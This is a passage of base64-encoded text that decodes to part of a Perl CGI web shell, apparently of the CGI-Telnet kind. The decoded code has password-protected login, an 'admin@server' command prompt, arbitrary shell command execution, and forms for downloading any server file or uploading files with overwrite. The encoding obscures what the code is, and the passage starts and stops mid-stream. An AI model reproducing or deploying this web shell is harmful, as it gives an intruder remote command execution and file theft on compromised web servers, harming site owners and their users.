cj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9J2dyZWVuJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KJFByb21wdAo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCJ0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+Cgo8L2Zvcm0+CgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KCgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQgPC9ydW4+PGJyPjx0ZXh0YXJlYSBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyEKCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7CgkJJHJlc3VsdCAuPSAmUnVuQ21kOwoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykKCXsKCQkkcmVzdWx0IC49ICAmU2F2ZUZpbGVGb3JtOwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSRyZXN1bHQgLj0mUnVuQ21kOwoJfQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW